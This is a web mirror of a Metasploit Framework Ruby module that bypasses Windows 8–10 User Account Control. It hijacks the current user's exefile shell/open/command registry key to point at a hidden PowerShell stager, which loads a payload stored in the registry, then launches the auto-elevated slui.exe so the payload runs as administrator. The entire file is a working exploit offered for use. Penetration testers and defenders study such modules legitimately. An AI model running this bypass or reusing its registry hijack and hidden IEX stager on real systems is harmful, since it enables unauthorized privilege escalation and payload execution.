CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_sluihijack.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::Powershell
10
include Post::Windows::Priv
11
include Post::Windows::Registry
12
include Post::Windows::Runas
13
14
SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze
15
SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze
16
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
17
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
18
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
19
SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze
20
CMD_MAX_LEN = 16383
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',
27
'Description' => %q{
28
This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under
29
the Current User hive, and inserting a custom command that will get invoked when any binary
30
(.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable
31
to file handler hijacking. When we run slui.exe with changed Registry key
32
(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin
33
instead of slui.exe.
34
35
The module modifies the registry in order for this exploit to work. The modification is
36
reverted once the exploitation attempt has finished.
37
38
The module does not require the architecture of the payload to match the OS. If
39
specifying EXE::Custom your DLL should call ExitProcess() after starting the
40
payload in a different process.
41
},
42
'License' => MSF_LICENSE,
43
'Author' => [
44
'bytecode-77', # UAC bypass discovery and research
45
'gushmazuko', # MSF & PowerShell module
46
],
47
'Platform' => ['win'],
48
'SessionTypes' => ['meterpreter'],
49
'Targets' => [
50
['Windows x86', { 'Arch' => ARCH_X86 }],
51
['Windows x64', { 'Arch' => ARCH_X64 }]
52
],
53
'DefaultTarget' => 0,
54
'References' => [
55
['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'],
56
['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1']
57
],
58
'DisclosureDate' => '2018-01-15',
59
'Compat' => {
60
'Meterpreter' => {
61
'Commands' => %w[
62
stdapi_sys_process_execute
63
]
64
}
65
}
66
)
67
)
68
end
69
70
def check
71
version = get_version_info
72
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909)
73
CheckCode::Appears
74
else
75
CheckCode::Safe
76
end
77
end
78
79
def exploit
80
# Validate that we can actually do things before we bother
81
# doing any more work
82
check_permissions!
83
84
commspec = 'powershell'
85
registry_view = REGISTRY_VIEW_NATIVE
86
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
87
88
# Make sure we have a sane payload configuration
89
if sysinfo['Architecture'] == ARCH_X64
90
if session.arch == ARCH_X86
91
# On x64, check arch
92
commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'
93
if target_arch.first == ARCH_X64
94
# We can't use absolute path here as
95
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
96
psh_path = 'powershell.exe'
97
end
98
end
99
if target_arch.first == ARCH_X86
100
# Invoking x86, so switch to SysWOW64
101
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
102
end
103
elsif target_arch.first == ARCH_X64
104
# if we're on x86, we can't handle x64 payloads
105
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
106
end
107
108
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
109
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
110
end
111
112
case get_uac_level
113
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
114
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
115
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
116
fail_with(Failure::NotVulnerable,
117
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
118
when UAC_DEFAULT
119
print_good('UAC is set to Default')
120
print_good('BypassUAC can bypass this setting, continuing...')
121
when UAC_NO_PROMPT
122
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
123
shell_execute_exe
124
return
125
end
126
127
payload_value = rand_text_alpha(8)
128
psh_path = expand_path(psh_path)
129
130
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
131
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
132
133
if psh_payload.length > CMD_MAX_LEN
134
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
135
end
136
137
psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
138
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
139
140
existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
141
exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
142
143
if existing.empty?
144
registry_createkey(SLUI_WRITE_KEY, registry_view)
145
end
146
147
print_status('Configuring payload and stager registry keys ...')
148
unless exist_delegate
149
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
150
end
151
152
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
153
registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
154
155
# Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
156
cmd_path = expand_path(commspec)
157
cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")
158
print_status("Executing payload: #{cmd_path} #{cmd_args}")
159
160
# We can't use cmd_exec here because it blocks, waiting for a result.
161
client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)
162
163
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
164
# TODO: fix this up to use something smarter than a timeout?
165
sleep(3)
166
167
handler(client)
168
169
print_status('Cleaning up ...')
170
unless exist_delegate
171
registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
172
end
173
if existing.empty?
174
registry_deletekey(SLUI_DEL_KEY, registry_view)
175
else
176
registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
177
end
178
registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)
179
end
180
181
def check_permissions!
182
unless check == Exploit::CheckCode::Appears
183
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
184
end
185
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
186
# Check if you are an admin
187
# is_in_admin_group can be nil, true, or false
188
print_status('UAC is Enabled, checking level...')
189
vprint_status('Checking admin status...')
190
admin_group = is_in_admin_group?
191
if admin_group.nil?
192
print_error('Either whoami is not there or failed to execute')
193
print_error('Continuing under assumption you already checked...')
194
elsif admin_group
195
print_good('Part of Administrators group! Continuing...')
196
else
197
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
198
end
199
200
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
201
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
202
end
203
end
204
end
205
206